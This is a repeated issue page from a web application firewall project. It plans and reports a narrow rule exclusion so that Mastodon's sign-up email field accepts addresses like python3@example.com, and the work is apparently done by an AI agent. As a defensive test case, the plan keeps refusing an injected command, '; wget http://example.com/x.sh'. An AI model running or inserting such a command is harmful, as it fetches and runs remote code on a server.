Follow-up to #268, under #212. Its rework (#268 (comment)) found that Mastodon's sign-up refuses an ordinary address. Start after that PR lands.
Definition of done:
While bodies are read, user[email] on /auth passes with addresses such as python3@example.com and powershell@example.com, as the email fields of the other apps already do.
Built by the plan at #212 (comment) and its addition at #212 (comment): recorded from Mastodon 4.7.5 at the digest named in that PR, removing on the field only the rules its recorded values set off. SQL injection, path traversal, script injection and ; wget http://example.com/x.sh stay refused there, with tests.
make check passes.
Model: opus-5-5
Follow-up to https://git.eeqj.de/sneak/smallwebwaf/pulls/268, under https://git.eeqj.de/sneak/smallwebwaf/issues/212. Its rework (https://git.eeqj.de/sneak/smallwebwaf/pulls/268#issuecomment-173469) found that Mastodon's sign-up refuses an ordinary address. Start after that PR lands.
**Definition of done:**
- While bodies are read, `user[email]` on `/auth` passes with addresses such as `python3@example.com` and `powershell@example.com`, as the email fields of the other apps already do.
- Built by the plan at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-171639 and its addition at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023: recorded from Mastodon 4.7.5 at the digest named in that PR, removing on the field only the rules its recorded values set off. SQL injection, path traversal, script injection and `; wget http://example.com/x.sh` stay refused there, with tests.
- `make check` passes.
Model: opus-5-5
clawbot
self-assigned this 2026-11-10 04:57:54 +01:00
Plan.#268 has landed, so this starts from current next.
Where:internal/coreruleset: mastodon.conf, testdata/mastodon-requests.txt and mastodon_test.go. No new file.
Recording: Mastodon 4.7.5 at the digest named in #268, in Docker on this host, through a headless Chrome in a container: sign-up at /auth with user[email] set to addresses built from a plain word, python3, powershell, ls-la and htaccess, at example.com. Remove every container, volume and network you start; stay under 3 GiB of RAM.
Exclusion:user[email] on /auth, beside the sign-up username, removing only the rules its recorded values set off. Tests show SQL injection, path traversal, script injection and ; wget http://example.com/x.sh still refused there, using the shared attack constants. Every rule stays phase 1. Use a rule id in Mastodon's block that nothing on next uses.
Docs:SPEC.md's Mastodon section and the PR body name the field and the rules it skips; the PR body says an ordinary request on another field can still be refused.
make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PR needs-review.
Model: opus-5-5
**Plan.** https://git.eeqj.de/sneak/smallwebwaf/pulls/268 has landed, so this starts from current `next`.
- **Where:** `internal/coreruleset`: `mastodon.conf`, `testdata/mastodon-requests.txt` and `mastodon_test.go`. No new file.
- **Recording:** Mastodon 4.7.5 at the digest named in https://git.eeqj.de/sneak/smallwebwaf/pulls/268, in Docker on this host, through a headless Chrome in a container: sign-up at `/auth` with `user[email]` set to addresses built from a plain word, `python3`, `powershell`, `ls-la` and `htaccess`, at `example.com`. Remove every container, volume and network you start; stay under 3 GiB of RAM.
- **Exclusion:** `user[email]` on `/auth`, beside the sign-up username, removing only the rules its recorded values set off. Tests show SQL injection, path traversal, script injection and `; wget http://example.com/x.sh` still refused there, using the shared attack constants. Every rule stays phase 1. Use a rule id in Mastodon's block that nothing on `next` uses.
- **Docs:** `SPEC.md`'s Mastodon section and the PR body name the field and the rules it skips; the PR body says an ordinary request on another field can still be refused.
`make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PR `needs-review`.
Model: opus-5-5
Built in #277: user[email] on /auth and the paths under it skips 930120, 932120 and 932260, so sign-up, sign-in, password reset and email changes pass with addresses such as python3@example.com and jane.profile@example.com. Sign-in and 930120 are beyond the issue's wording; the PR body says why.
Model: opus-5-5
Built in https://git.eeqj.de/sneak/smallwebwaf/pulls/277: `user[email]` on `/auth` and the paths under it skips 930120, 932120 and 932260, so sign-up, sign-in, password reset and email changes pass with addresses such as `python3@example.com` and `jane.profile@example.com`. Sign-in and 930120 are beyond the issue's wording; the PR body says why.
Model: opus-5-5
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Follow-up to #268, under #212. Its rework (#268 (comment)) found that Mastodon's sign-up refuses an ordinary address. Start after that PR lands.
Definition of done:
user[email]on/authpasses with addresses such aspython3@example.comandpowershell@example.com, as the email fields of the other apps already do.; wget http://example.com/x.shstay refused there, with tests.make checkpasses.Model: opus-5-5
Plan. #268 has landed, so this starts from current
next.internal/coreruleset:mastodon.conf,testdata/mastodon-requests.txtandmastodon_test.go. No new file./authwithuser[email]set to addresses built from a plain word,python3,powershell,ls-laandhtaccess, atexample.com. Remove every container, volume and network you start; stay under 3 GiB of RAM.user[email]on/auth, beside the sign-up username, removing only the rules its recorded values set off. Tests show SQL injection, path traversal, script injection and; wget http://example.com/x.shstill refused there, using the shared attack constants. Every rule stays phase 1. Use a rule id in Mastodon's block that nothing onnextuses.SPEC.md's Mastodon section and the PR body name the field and the rules it skips; the PR body says an ordinary request on another field can still be refused.make fmt, thenflock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; aflocktimeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PRneeds-review.Model: opus-5-5
Built in #277:
user[email]on/authand the paths under it skips 930120, 932120 and 932260, so sign-up, sign-in, password reset and email changes pass with addresses such aspython3@example.comandjane.profile@example.com. Sign-in and 930120 are beyond the issue's wording; the PR body says why.Model: opus-5-5